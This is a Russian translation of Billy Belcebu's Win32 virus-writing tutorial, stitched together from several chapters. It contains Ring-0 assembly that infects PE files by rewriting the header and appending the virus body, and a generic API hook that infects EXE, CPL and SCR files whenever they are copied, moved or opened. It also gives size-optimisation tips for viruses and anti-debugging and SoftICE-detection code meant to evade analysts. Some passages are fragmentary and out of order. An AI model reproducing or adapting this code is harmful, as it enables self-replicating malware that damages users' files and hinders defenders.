    mov eax,R0_READFILE ; D600h push eax ; Сохраняем для последующего исп. mov ecx,4 ; Сколько байтов читать (DWORD) mov edx,03Ch ; Откуда читать (BOF+3Ch) lea esi,[ebp+pehead] ; Здесь будет смещ. загол. PE VxDCall IFSMgr_Ring0_FileIO ; Сам VxDCall

    pop eax ; восст. R0_READFILE из стека

    mov edx,dword ptr [ebp+pehead] ; Откуда нач. PE-заголовок lea esi,[ebp+header] ; Куда писать считанный заголовок mov ecx,400h ; 1024 bytes, дост. для заголовка VxDCall IFSMgr_Ring0_FileIO

    Теперь мы должны посмотреть, является ли файл, который мы только что посмотрели PE-файлов, взглянув на его маркер. В ESI у нас находится указатель на буфер, куда мы поместим заголовок PE, поэтому мы просто сравниваем первый DWORD в ESI с PE,0,0 (или просто PE, если использовать WORD-сравнение) ;).

    cmp dword ptr [esi],"EP" ; Это PE? jnz muthafucka

    Теперь вам нужно проверить, не был ли файл уже заражен ранее, и если это так, просто переходим к процедуре его закрытия. Как я сказал раньше, я пропущу код модификации PE-заголовка, так как предполагается, что вы знаете, как им манипулировать. Ладно, представьте, что вы уже модифицировали заголовок PE правильным образом в буфере (в моем коде эта переменная названа 'header'). Теперь настало время, чтобы записать новый заголовок в PE-файл. Значения, которые должны содержаться в регистрах, должны быть примерно равны тем, которые использовались в функции R0_READFILE. Ладно, как бы то ни было, я их напишу:

    EAX = R0_WRITEFILE = D601h EBX = File Handle ECX = Number of bytes to write EDX = Offset where we should write ESI = Offset of the bytes we want to write

    mov eax,R0_WRITEFILE ; D601h mov ecx,400h ; write 1024 bytez (buffer) mov edx,dword ptr [ebp+pehead] ; where to write (PE offset) lea esi,[ebp+header] ; Data to write VxDCall IFSMgr_Ring0_FileIO

    Мы только что записали заголовок. Теперь мы должны добавить вирус. Я решил подсоединить его прямо к концу файла, потому что мой способ модифицирования PE... Ладно, просто сделал это так. Но не беспокойтесь, это легко адаптировать под ваш метод заражения, если, как я предполагаю, вы понимаете, как все это работает. Просто помните о необходимости пофиксить все вызовы VxD перед добавление тела вируса, так как они трансформируются в инструкции call в памяти. Помните о процедуре VxDFix, которой я научил вас в этом же документе. Между прочим, так как мы добавляем тело вируса к концу файла, мы должны узнать, как много байтов он занимает. Это очень легко, для этого у нас есть функция сервиса IFSMgr_Ring0_FileIO, которая выполнит эту работу: R0_GETFILESIZE. Давайте взглянем на ее входные параметры:


    EAX = R0_GETFILESIZE = D800h EBX = Хэндл файла

    И возвращает нам в EAX размер файла, чей хэндл мы передали, то есть того файла, который мы хотим заразить.

    call VxDFix ; Восстановить все INT 20h

    mov eax,R0_GETFILESIZE ; D800h VxDCall IFSMgr_Ring0_FileIO ; EAX = размер файла mov edx,R0_WRITEFILE ; EDX = D601h xchg eax,edx ; EAX = D601; EDX = р-р файла lea esi,[ebp+virus_start] ; Что записать mov ecx,virus_size ; Сколько байтов записать VxDCall IFSMgr_Ring0_FileIO

    Ладно, нам осталось сделать всего лишь несколько вещей. Просто закройте файл и восстановите старые атрибуты. Конечно, функция закрытия файла находится в сервисе IFSMgr_Ring0_FileIO (код D700h). Давайте взглянем на входные параметры:

    EAX = R0_CLOSEFILE = 0D700h EBX = хэндл файла

    А теперь сам код:

    muthafucka: mov eax,R0_CLOSEFILE VxDCall IFSMgr_Ring0_FileIO

    Теперь нам осталось только одно (рульно!). Восстановить старые аттрибуты.

    stillnotsofunny: pop ecx ; Восстанавливаем старые аттрибуты pop esi ; Восстанавливаем указатель на имя файла mov eax,4301h ; Устанавливаем аттрибуты VxDCall IFSMgr_Ring0_FileIO

    notsofunny: ret

    Вот и все! :) Между прочим, все эти "VxDCall IFSMgr_Ring0_FileIO" лучше оформить в виде подпрограммы и вызывать ее с помощью простого вызова: это будет более оптимизировано (если вы используете макро VxDCall, который я показал вам) и это будет гораздо лучше, потому что необходимо будет фиксить только один вызов VxD-сервиса.

    Есть вещь, которую делают почти

    Есть вещь, которую делают почти все виркодеры новой школы:

    mov eax,-1 ; 5 байтов

    Вы поняли, что это худшее, что вы могли сделать? Неужели у вас только один нейрон? Проклятье, гораздо проще установить -1 более оптимизированно:

    xor eax,eax ; 2 байта dec eax ; 1 байт

    Вы видите? Это не трудно!

    версии этого туториала, что оно

    Кто-то (привет, Qozah!) сказал мне после чтения бета- версии этого туториала, что оно несколько хаотично, поэтому очень легко потеряться между главами. Я попытался реорганизовать туториал, хотя, возможно, мне это и не слишком удалось.

    Дисклеймер Несколько вводных слов Содержание Что потребуется для написания вируса Краткое введение Заголовок PE Ring-3, кодинг на уровне пользователя Ring-0, кодинг на уровне бога Резидентность Оптимизация в Win32 Антиотладка в Win32 Полиморфизм в Win32 Продвинутые Win32-техники Приложение 1: полезная нагрузка Приложение 2: об авторе Заключение

    Советы и приемы

    Здесь я поместил нерасклассифированные приемы оптимизирования и те, которые (как я предполагаю) вы уже знаете ;).
  • Никогда не используйте директиву JUMPS в вашем коде.
  • Используйте строковые операции (MOVS, SCAS, CMPS, STOS, LODS).
  • Используйте 'LEA reg, [ebp+imm32]' вместо 'MOV reg, offset imm32 / add reg, ebp'.
  • Пусть ваш ассемблер осуществляет несколько проходов по коду (в TASM'е /m5 будет достаточно хорошо).
  • Используйте стек и избегайте использования переменных.
  • Многие операции (особенно логические) оптимизированны для регистра EAX/AL
  • Используйте CDQ, чтобы очистить EDX, если EAX меньше 80000000h (т.е. без знака).
  • Используйте 'XOR reg,reg' или 'SUB reg,reg', чтобы сделать регистр равным нулю.
  • Использование EBP и ESP в качестве индекса тратит на 1 байт больше, чем использование EDI, ESI и т.п.
  • Для битовых операций используйте "семейство" BT (BT,BSR,BSF,BTR,BTF,BTS).
  • Используйте XCHG вместо MV, если порядок регистров не играет роли.
  • Во время push'инга все значение структуры IOREQ, используйте цикл.
  • Используйте кучу настолько, насколько это возможно (адреса API-функций, временные переменные и т.д.)
  • Если вам нравится, используйте условные MOV'ы (CMOVs), но они 586+.
  • Если вы знаете как, используйте сопроцессор (его стек, например).
  • Используйте семейство опкодов SET в качестве семафоров.
  • Используйте VxDJmp вместо VxDCall для вызова IFSMgr_Ring0_FileIO (ret не требуется).


  • Structured Exception Handler

    SEH - это очень классная фича, которая есть во всех средах окружения Win32. Очень легко понять, что она делает: если происходит (general protection fault (сокращенно GPF), контроль автоматически передается текущему SEH-обработчику. Вы видите, насколько это может быть полезным? Если что-то пойдет не так, это позволит вашему вирусу оставаться незамеченным :). Указатель на SEH-обработчик находится в FS:[0000]. Поэтому вы можете легко поместить туда ваш собственный SEH-обработчик (но не забудьте сохранить старый!). Если произойдет ошибка, контроль будет передан вашему SEH-обработчику, но стек накроется. К счастью, Micro$oft помещает стек в том виде, в каком он был до установки нашего SEH-обработчика, в ESP+08 :). Поэтому нам надо будет просто восстановить его и поместить старый SEH-обработчик на его старое место :). Давайте посмотрим небольшой пример использования SEH:
    ;---[ CUT HERE ]-------------------------------------------------------------
    .386p .model flat ; 32 бита рулят
    extrn MessageBoxA:PROC ; Задаем API extrn ExitProcess:PROC
    .data
    szTitle db "Structured Exception Handler [SEH]",0 szMessage db "Intercepted General Protection Fault!",0
    .code
    start: push offset exception_handler ; Push'им смещение нашего ; обработчика push dword ptr fs:[0000h] ; mov dword ptr fs:[0000h],esp
    errorhandler: mov esp,[esp+8] ; Помещаем смещ. ориг. SEH ; Ошибка дает нам старый ESP ; в [ESP+8]
    pop dword ptr fs:[0000h] ; Восст. старый SEH-обработчик
    push 1010h ; Параметры для MessageBoxA push offset szTitle push offset szMessage push 00h call MessageBoxA ; Показываем сообщене :]
    push 00h call ExitProcess ; Выходим из приложения
    setupSEH: xor eax,eax ; Генерируется исключение div eax
    end start ;---[ CUT HERE ]-------------------------------------------------------------
    Как было показано в главе "Антиотладка под Win32", у SEH есть еще полезные применения :). Он одурачивает большинство отладчиков уровня приложения. Для облечения работы по установке нового SEH-обработчика есть следующие макросы, которые делают это за вас (hi Jacky!):
    ; Put SEH - Sets a new SEH handler
    ; Put SEH - Устанавливаем новый SEH-обработчик
    pseh macro what2do local @@over_seh_handler call @@over_seh_handler mov esp,[esp+08h] what2do @@over_seh_handler: xor edx,edx push dword ptr fs:[edx] mov dword ptr fs:[edx],esp endm
    ; Restore SEH - Восстанавливает старый SEH-обработчик
    rseh macro xor edx,edx pop dword ptr fs:[edx] pop edx endm
    Использовать эти макросы очень просто. Например:
    pseh >jmp SEH_handler&rt; div edx push 00h call ExitProcess SEH_handler: rseh [...]
    Код, приведенный выше, будет выполняться после макроса 'rseh' вместо прерывания процесса. Это понятно? :)

    UNICODE в ASCIIz

    Есть много путей сделать это. Особенно для вирусов нулевого кольца, которые имеют доступ к специальному сервису VxD. Во-первых, я объясню, как сделать оптимизацию, если используется этот сервис, а затем я покажу метод Super'а, который сохраняет огромное количество байтов. Давайте посмотрим на типичный код (предполагая, что EBP - это указатель на структуру ioreq, а EDI указывает на имя файла):
    xor eax,eax ; 2 байта push eax ; 1 байт mov eax,100h ; 5 байтов push eax ; 1 байт mov eax,[ebp+1Ch] ; 3 байта mov eax,[eax+0Ch] ; 3 байта add eax,4 ; 3 байта push eax ; 1 байт push edi ; 1 байт @@3: int 20h ; 2 байта dd 00400041h ; 4 байта
    Ладно, похоже, что здесь можно сделать только одно улучшение, заменив третью линию на следующее:
    mov ah,1 ; 2 байта
    Или так :)
    inc ah ; 2 байта
    Хех, но я уже сказал, что Super произвел очень сильные улучшения. я не стал копировать его, получающий указатель на юникодовое имя файла, потому что его очень трудно понять, но я уловил идею. Предполагаем, что EBP - это указатель на структуру ioreq, а buffer - это буфер длиной 100 байт. Далее идет некоторый код:
    mov esi,[ebp+1Ch] ; 3 байт mov esi,[esi+0Ch] ; 3 байт lea edi,[ebp+buffer] ; 6 байт @@l: movsb ; 1 байт -¬ dec edi ; 1 байт ¦ Этот цикл был cmpsb ; 1 байт ¦ сделан Super'ом ;) jnz @@l ; 2 байт --
    Хех, первая из всех процедур (без локальной оптимизации) - 26 байтов, та же, но с локальной оптимизацией - 23 байта, а последняя процедура (со структурной оптимизацией) равна 17 байтам. Вау!!!

    Универсальный перехватчик

    Возможно вы помните, что есть некоторые API-функции, которые принимают последним заPUSHенным параметром указатель на файл (который может быть исполняемым), поэтому мы можем их перехватить и применить универсальный перехватчик, который сначала проверяет расширение файла, и если он исполняемый, мы можем заразить его без всяких проблем :).
    ;---[ CUT HERE ]-------------------------------------------------------------
    ; Несколько различных хуков :)
    HookMoveFileA: call DoHookStuff ; обрабатываем этот вызов jmp [eax+_MoveFileA] ; передаем контроль ; оригинальной API-функции
    HookCopyFileA: call DoHookStuff ; обрабатываем этот вызов jmp [eax+_CopyFileA] ; передаем контроль ; оригинальной API-функции
    HookDeleteFileA: call DoHookStuff ; обрабатываем этот вызов jmp [eax+_DeleteFileA] ; передаем контроль ; оригинальной API-функции
    HookCreateFileA: call DoHookStuff ; обрабатываем этот вызов jmp [eax+_CreateFileA] ; передаем контроль ; оригинальной API-функции
    ; The generic hooker!!
    ; Универсальный перехватчик!!
    DoHookStuff: pushad ; Push'им все регистры pushfd ; Push'им все флаги call GetDeltaOffset ; Получаем дельта-смещение в EBP mov edx,[esp+2Ch] ; Получаем имя файла, который нужно заразить mov esi,edx ; ESI = EDX = file to check reach_dot: lodsb ; Получаем символ or al,al ; Найден NULL? Дерьмо... jz ErrorDoHookStuff ; Тогда сваливаем cmp al,"." ; Найдена точка? Интересно... jnz reach_dot ; Если нет, следующий оборот цикла dec esi ; Фиксим lodsd ; Помещаем расширение в EAX or eax,20202020h ; Приводим строку к нижнему регистру cmp eax,"exe." ; Это EXE? Заражаем!!! jz InfectWithHookStuff cmp eax,"lpc." ; Это CPL? Заражаем!!!! jz InfectWithHookStuff cmp eax,"rcs." ; Это SCR? Заражаем!!!! jnz ErrorDoHookStuff InfectWithHookStuff: xchg edi,edx ; EDI = имя файла, который нужно заразить call InfectEDI ; Заражаем файл!! ;) ErrorDoHookStuff: popfd ; Восстанавливаем все предохраненные popad ; регистры, чтобы ничего не случилось :) push ebp call GetDeltaOffset ; Получаем дельта-смещение xchg eax,ebp ; Помещаем дельта-смещение в EAX pop ebp ret
    ;---[ CUT HERE ]-------------------------------------------------------------
    Вот некоторые API-функции, которые можно перехватить с помощью этой универсальной процедуры: MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA, CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA, CopyFileExA, OpenFile.

    Уровни полиморфизма

    У каждого уровня полиморфизма есть свое имя, данное ему людьми из AV-индустрии. Давайте посмотрим небольшую цитату из AVPVE.
    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    Существует система деления полиморфных вирусов на уровни, согласно сложности кода декриптора этих вирусов. Эта система была представлена д-ром Аланом Соломоном, а затем улучшена Весселином Бонтчевым.
    Уровень 1: У вируса есть набор декрипторов с постоянным кодом, один из которых выбирается при заражении. Такие вирусы называеются "полуполиморфными" или "олигоморфными".
    Примеры: "Cheeba", "Slovakia", "Whale".
    Уровень 2: декриптор вируса содержит одну или более постоянную инструкцию, остальное изменяется.
    Уровень 3: декриптор содержит неиспользуемые функции - "мусор", такой как NOP, CLI, STI и так далее.
    Уровень 4: декриптор использует равнозначные инструкции и изменяет их порядок. Алгоритм расшифровки остается неизменным.
    Уровень 5: используются все вышеперечисленные техники, алгоритм расшифровки меняется, возможно неоднократное шифрование кода вируса и даже частичное шифрование кода декриптора.
    Уровень 6: пермутирующие вирусы. Основной код вируса также меняется, он поделен на блоки, которые меняют свое местоположение при заражении. При этом вирус продолжает работать. Некоторые вирусы могут быть незашифрованны.
    У такого разделения есть свои недостатки, так как основной критерий - это возможность детектирования вируса согласно коду генератора с помощью условной техники вирусных масок:
    Уровень 1: чтобы обнаружить вирус достаточно иметь несколько масок
    Уровень 2: обнаружение вируса производится с помощью маски, используя "wild card'ы".
    Уровень 3: обнаружение вируса производиться с помощью маски после удаления "мусорных" инструкций.
    Уровень 4: маска содержит несколько версий возможного кода, то есть он становится алгоритмичным
    Уровень 5: невозможность обнаружения вируса с помощью масок.
    Недостаточность такого деления продемонстрирована в вирусе третьего уровня полиморфизма, который называется соответствующим образом - "Level3". Этот вирус, будучи одним из самых сложных полиморфных вирусов, попадает в третью категорию, потому что у него постоянный алгоритм расшифровки, предшествуемый большим количеством мусорных инструкций. Тем не менее, в этом вирусе алгоритм генерации мусора близок к совершенству: в коде декриптора можно найти почти все инструкции i8086.

    Если делить вирусы на уровни с точки зрения антивирусов, использующие системы автоматической расшифровки кода вирусов (эмуляторов), тогда это деление будет зависеть от сложности кода. Другие техники обнаружения вирусов также возможны, например, расшифровка с помощью основных законов математики и так далее.

    Поэтому, на мой взгляд, деление будет более объективным, если кроме вирусной маски в расчет будут приниматься другие параметры.

    1. Степень сложности полиморфного кода (процент всех инструкций процессора, которые можно встретить в коде декриптора) 2. Использование техник антиэмуляции 3. Постоянность алгоритма расшифровки 4. Постоянность размера декриптора

    Я не буду объяснять эти вещи более детально, поскольку в результате это заставить вирмейкеров создавать монстров подобного рода.

    -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

    Ха-ха, Евгений. Я сделаю! ;) Разве не приятно, когда один из AVеров делает чужую работу? :)

    Установка кадров стека

    Давайте посмотрим, как это выглядит неоптимизированно:
    push ebp ; 1 байт mov ebp,esp ; 2 байта sub esp,20h ; 3 байта
    А если мы оптимизируем...
    enter 20h,00h ; 4 байта
    Интересно, не правда ли? :)

    В заключение

    Я ожидаю, что вы поняли по крайней мере первые приемы оптимизации в этой главе, так как именно пренебрежение ими сводит меня с ума. Я знаю, что я далеко не лучший в оптимизировании. Для меня размер не играет роли. Как бы то ни было, очевидных оптимизаций следует придерживаться, по крайней мере, чтобы продемонстрировать, что вы знаете что-то в этой жизни. Меньше ненужных байт - это в пользу вируса, поверьте мне. И не надо приводить мне аргументов, которые приводил QuantumG в своем вирусе 'Next Step'. Оптимизации, которые я вам показал, не приведут к потере стабильности. Просто попытайтесь их использовать, ок? Это очень логично, ребята.
    [C] Billy Belcebu, пер. Aquila
    <<< Назад Вперед >>>


    Важные сведения

    Я думаю, что должен рассказать об этом вначале данного пособия, как бы то ни было, лучше об этом знать, чем не знать :). Хорошо, давайте поговорим о внутренностях наших Win32-операционных систем.
    Во-первых, вы должны уяснить несколько концепций. Давайте начнем с селекторов. Что такое селектор? Это очень просто. Это очень большой сегмент, и эта форма Win32-памяти также называется плоской памятью. Мы можем напрямую обращаться к 4 гигабайтам памяти (4.294.967.295 байтов) используя только 32-х битные смещения. И как организованна эта память? Давайте взглянем на одну из диаграмм, которые я так люблю делать:
    Важные сведения
    Обратите внимание на одну вещь: у WinNT последние две секции находятся отдельно от первых двух. Ладно, теперь я помещу определения, которые вы должны знать. В остальной части туториала я буду исходить из того, что вы о них помните.
    ¤ VA:
    VA расшифровывается как Virtual Address (виртуальный адрес). Это адрес чего-нибудь, но в памяти (помните, что в Windowz вещи на диске и в памяти не обязательно эквиваленты).
    ¤ RVA:
    RVA расшифровывается как Relative Virtual Address. Очень важно четко это понять. RVA - это смещение на что-то, относительно того места, куда промэппирован файл (вами или системой).
    ¤ RAW-данные:
    RAW-данные - это имя, которое мы используем для обозначения данных так, как они есть физически на диске (данные на диске != данные в памяти).
    ¤ Виртуальные данные:
    Виртуальные данные - это имя, которым мы называем данные, когда они загруженны системой в память.
    ¤ Файловый мэппинг:
    Техника, реализованная во всех операционных системах Win32, которая позволяет производить различные действия с файлом быстрее и затрачивать при этом меньше памяти, а также она более удобна, чем способы, практиковавшиеся в DOS. Все, что мы изменяем в памяти, также изменяется на диске. Файловый мэппинг - это единственный способ обмениваться информацией между различными процессами, который работает во всех Win32-операционных системах.

    Веселье с push'ами

    Почти то же, что и выше, но с push'ем. Давайте посмотрим, что надо и не надо делать:
    mov eax,dword ptr [ebp+variable] ; 6 байтов push eax ; 1 байт
    Мы можем сделать то же самое, но на 1 байт меньше. Смотрите.
    push dword ptr [ebp+variable] ; 6 байтов
    Круто, правда? ;) Ладно, если нам нужно push'ить много раз (если значение велико, более оптимизированно, будет более оптимизированно push'ить значение 2+ раза, а если значение мало, более оптимизированно будет push'ить его, когда вам нужно сделать это 3+ раза) одну и ту же переменную, более выгодно будет поместить ее в регистр и push'ить его. Например, если нам нужно заpushить он 3 раза, более правильным будет сксорить регистр сам с собой и затем заpushить регистр. Давайте посмотрим:
    push 00000000h ; 2 байта push 00000000h ; 2 байта push 00000000h ; 2 байта
    И давайте посмотрим, как прооптимизировать это:
    xor eax,eax ; 2 bytes push eax ; 1 byte push eax ; 1 byte push eax ; 1 byte
    Часто во время использования SEH нам бывает необходимо запушить fs:[0] и так далее: давайте посмотрим, как это можно оптимизировать:
    push dword ptr fs:[00000000h] ; 6 байтов ; 666? Хахаха! mov fs:[00000000h],esp ; 6 байтов [...] pop dword ptr fs:[00000000h] ; 6 байтов
    Вместо это нам следует сделать следующее:
    xor eax,eax ; 2 байта push dword ptr fs:[eax] ; 3 байта mov fs:[eax],esp ; 3 байта [...] pop dword ptr fs:[eax] ; 3 байта
    Кажется, что у нас на 7 байтов меньше! Вау!!!

    Вычисление VirtualSize

    Это название является предлогом, чтобы показать вам другие странные опкоды, которые очень полезны для вычисления VirtualSize, так как мы должны добавить к нему значение и получить значение, которые было там до добавления. Конечно, опкод, о котором я говорю - это XADD. Ладно, ладно, давайте посмотрим неоптимизированное вычисление VirtualSize (я предполагаю, что ESI - это указатель на заголовок последней секции):
    mov eax,[esi+8] ; 3 байта push eax ; 1 байт add dword ptr [esi+8],virus_size ; 7 байт pop eax ; 1 байт
    А теперь давайте посмотрим, как это будет с XADD:
    mov eax,virus_size ; 5 байтов xadd dword ptr [esi+8],eax ; 4 байта
    С помощью XADD мы сохранили 3 байта ;). Между прочим, XADD - это инструкция 486+.

    Вызов адреса, сохраненного в переменной

    Если еще одна вещь, которую делают некоторые VX-еры, и из-за которой я схожу с ума и кричу. Давайте я вам ее напомню:
    mov eax,dword ptr [ebp+ApiAddress] ; 6 байтов call eax ; 2 байта
    Мы можем вызывать адрес напрямую, ребята... Это сохраняет байты и не используется лишний регистр.
    call dword ptr [ebp+ApiAddress] ; 6 байтов
    Снова мы избавляемся от ненужной инструкции, которая занимает 2 байта, а делаем то же самое.

    Win32: другой путь узнать, что мы находимся в контексте отладчика

    Если вы взглянете на статью "Win95 Structures and Secrets", которая была написана Murkry/iKX и опубликована в Xine-3, вы поймете, что в регистре FS находится очень классная структура. Посмотрите поле FS:[20h]... Это 'DebugContext'. Просто сделайте следующее:
    mov ecx,fs:[20h] jecxz not_being_debugger [...] <--- делайте что угодно, нас отлаживают :)
    Таким образом, если FS:[20h] равен нулю, нас не отлаживают. Просто наслаждайтесь этим маленьким и простым методом, чтобы обнаруживать отладчики! Конечно, это нельзя применить к SoftIce.

    Win32: обнаружение SoftICE (III)

    Наконец, вас ждет окончательный и прекрасный прием... Глобальное решение проблемы нахождения SoftICE в средах Win9x и WinNT! Это очень легко, 100% базируется на API и без всяких "грязных" трюков, не идущих на пользу совместимости. И ответ спрятан не так глубоко, как вы могли бы подумать... ключ в API-функции, которую вы наверняка использовали раньше: CreateFile. Да, эта функция... разве не прекрасно? Ладно, мы должны попытаться сделать следующее:
    + SoftICE для Win9x : "\\.\SICE" + SoftICE для WinNT : "\\.\NTICE"
    Если функция возвращает нам что-то, отличное от -1 (INVALID_HANDLE_VALUE), это значит, что SoftICE активен! Далее идет демонстрационная программа:
    ;---[ CUT HERE ]-------------------------------------------------------------
    .586p .model flat
    extrn CreateFileA:PROC extrn CloseHandle:PROC extrn MessageBoxA:PROC extrn ExitProcess:PROC
    .data
    szTitle db "SoftICE detection",0
    szMessage db "SoftICE for Win9x : " answ1 db "not found!",10 db "SoftICE for WinNT : " answ2 db "not found!",10 db "(c) 1999 Billy Belcebu/iKX",0
    nfnd db "found! ",10
    SICE9X db "\\.\SICE",0 SICENT db "\\.\NTICE",0
    .code
    DetectSoftICE: push 00000000h ; Проверяем наличие SoftICE push 00000080h ; для среды окружения Win9x push 00000003h push 00000000h push 00000001h push 0C0000000h push offset SICE9X call CreateFileA
    inc eax jz NoSICE9X dec eax
    push eax ; Закрыть открытый файл call CloseHandle
    lea edi,answ1 ; SoftICE найден! call PutFound NoSICE9X: push 00000000h ; А теперь пытаемся открыть push 00000080h ; SoftICE под WinNT... push 00000003h push 00000000h push 00000001h push 0C0000000h push offset SICENT call CreateFileA
    inc eax jz NoSICENT dec eax
    push eax ; Закрыть хэндл файла call CloseHandle
    lea edi,answ2 ; SoftICE под WinNT найден! call PutFound NoSICENT: push 00h ; Показываем MessageBox с push offset szTitle ; результатами push offset szMessage push 00h call MessageBoxA
    push 00h ; Завершаем программу call ExitProcess
    PutFound: mov ecx,0Bh ; Изменяем "not found" на lea esi,nfnd ; "found"; адрес, где нужно rep movsb ; совершить изменение находится ; в EDI ret
    end DetectSoftICE
    ;---[ CUT HERE ]-------------------------------------------------------------
    Это действительно работает, поверьте мне :). Тот же метод можно применить к другим враждебным драйвером, просто сделайте небольшое исследование на этот счет.

    Win32: Остановка отладчиков уровня приложения с помощью SEH

    Я еще не знаю почему, но отладчики уровня приложения падают, если программа просто использует SEH. Также как и кодоэмуляторы, если вызываются исключения :). SEH, о котором я писал в DDT#1, используется для многих интересных вещей. Идите и прочитайте главу "Продвинутые Win32-техники", часть которой я посвятил SEH.
    Вам потребуется сделать SEH-обработчик, который будет указывать на код, чье выполнение начнется после исключения, которого можно добиться, например, попытавшись записать что-нибудь по адресу 00000000h ;).
    Хорошо, я надеюсь, что вы поняли это. Если нет... Гхрм, забудьте это ;). Также, как и методы, изложенные ранее, данный методы нельзя применить к SoftICE.

    Win98/NT: обнаружение отладчиков уровня приложения (IsDebuggerPresent)

    Этой API-функция нет в Win95, поэтому вам нужно будет убедиться в ее наличии. Также она работает только с отладчиками уровня приложения (например, TD32). И она работает прекрасно. Давайте посмотрим, что о ней написано в справочнике по Win32 API.
    -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· Функция IsDebuggerPresent сообщает, запущен ли вызвавший ее процес в контексте отладчика. Эта функция экспортируется из KERNEL32.DLL.
    BOOL IsDebuggerPresent(VOID)
    Параметры ---------
    У этой функции нет параметров.
    Возвращаемое значение ---------------------
    ¤ Если текущий процесс запущен в контексте отладчика, возвращаемое значение не равно нулю.
    ¤ Если текущий процесс не запущен в контексте отладчика, возвращаемое значение равно нулю. -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
    Пример, демонстрирующий этот API, очень прост. Вот он.
    ;---[ CUT HERE ]-------------------------------------------------------------
    .586p .model flat
    extrn GetProcAddress:PROC extrn GetModuleHandleA:PROC
    extrn MessageBoxA:PROC extrn ExitProcess:PROC
    .data
    szTitle db "IsDebuggerPresent Demonstration",0 msg1 db "Application Level Debugger Found",0 msg2 db "Application Level Debugger NOT Found",0 msg3 db "Error: Couldn't get IsDebuggerPresent.",10 db "We're probably under Win95",0
    @IsDebuggerPresent db "IsDebuggerPresent",0 K32 db "KERNEL32",0
    .code
    antidebug1: push offset K32 ; Получаем базовый адрес KERNEL32 call GetModuleHandleA or eax,eax ; Проверяем на ошибки jz error
    push offset @IsDebuggerPresent ; Теперь проверяем наличие push eax ; IsDebuggerPresent. Если call GetProcAddress ; GetProcAddress возвращает ошибку, or eax,eax ; то мы считаем, что находимся в jz error ; Win95
    call eax ; Вызываем IsDebuggerPresent
    or eax,eax ; Если результат не равен нулю, нас jnz debugger_found ; отлаживают
    debugger_not_found: push 0 ; Показываем "Debugger not found" push offset szTitle push offset msg2 push 0 call MessageBoxA jmp exit
    error: push 00001010h ; Показываем "Error! We're in Win95" push offset szTitle push offset msg3 push 0 call MessageBoxA jmp exit
    debugger_found: push 00001010h ; Показываем "Debugger found!" push offset szTitle push offset msg1 push 0 call MessageBoxA
    exit: push 00000000h ; Выходим из программы call ExitProcess
    end antidebug1
    ;---[ CUT HERE ]-------------------------------------------------------------
    Разве не красиво? Micro$oft сделала за нас всю работу :). Но, конечно, не ожидайте, что этот метод будет работать с SoftICE ;).

    Win9X: Detect SoftICE (I)

    Здесь я должен поблагодарить Super/29A, потому что это именно он рассказал мне об этом методе. Я разделил его на две части: в этой мы увидим, как это сделать из Ring-0. Я не буду помещать сюда весь исходный код вируса, потому что в нем много лишнего, но вы должны знать, что данный способ работает в Ring-0 и VxDCall должен быть восстановлен из-за проблемы обратного вызова (помните?).
    Ок, мы собираемся использовать сервис VMM Get_DDB, т.е. сервис равен 00010146 (VMM_Get_DDB). Давайте посмотрим информацию об этом сервисе в SDK.
    -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· mov eax, Device_ID mov edi, Device_Name int 20h ; VMMCall Get_DDB dd 00010146h mov [DDB], ecx
    - Определяет, установлен или нет VxD для определенного устройства и возвращает DDB для этого устройства, если он инсталлирован.
    - Использует ECX, флаги.
    - Возвращает DDB для указанного устройства, если вызов функции прошел успешно; - в противном случае возвращается ноль.
    ¤ Device_ID: идентификатор устройства. Этот параметр может быть равен нулю для именованных устройств.
    ¤ Device_Name: восьмисимвольное имя устройства (может выравниваться до этого размера пробелами). Этот параметр требуется только, если Device_ID равен нулю. Имя устройства чувствительно к регистру. -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
    Вы, наверное, думаете, что все это значит. Очень просто. Поле Device_ID в VxD SoftIce'а всегда постоянно, так как оно зарегистрировано в Micro$oft'е, что мы можем использовать в качестве оружия против чудесного SoftIce, Его Device_ID всегда равен 202h. Поэтому нам нужно использовать следующий код:
    mov eax,00000202h VxDCall VMM_Get_DDB xchg eax,ecx jecxz NotSoftICE jmp DetectedSoftICE
    Где NotSoftICE должно быть продолжение кода вируса, а DetectedSoftICe должна обрабатывать ситуацию, если наш враг жив :). Я не предлагаю ничего деструктивного, так как, например, на моем компьютере SoftICE постоянно активен :).

    Win9X: обнаружение SoftICE (II)

    Ладно, далее идет другой метод для обнаружение присутствие моего возлюбленного SoftIce, но основывающегося на той же концепции, что и раньше: 202h ;). Снова я должен поблагодарить Super'а :). Ладно, в Ralph Brown Interrupt list мы можем найти очень кульный сервис в прерывании 2Fh - 1684h.
    -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· Ввод: AX = 1684h BX = виртуальное устройство (VxD) ID (смотри #1921) ES:DI = 0000h:0000h Возврат:ES:DI -> входная точка VxD API или 0:0, если VxD не поддерживает API Обратите внимание: некоторые драйвера устройств предоставляют приложениям определенные сервисы. Например, Virtual Display Device (VDD) предоставляет API, используемый WINOLDAP. -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
    Таким образом, вы помещаете BX в 202h и запускаете эту функцию. А затем говорите... "Эй, Билли... Как мне использовать прерывания?". Мой ответ... ИСПОЛЬЗУЙТЕ VxDCALL0!!!

    Win9x: Убить хардверные брикпоинты отладчика

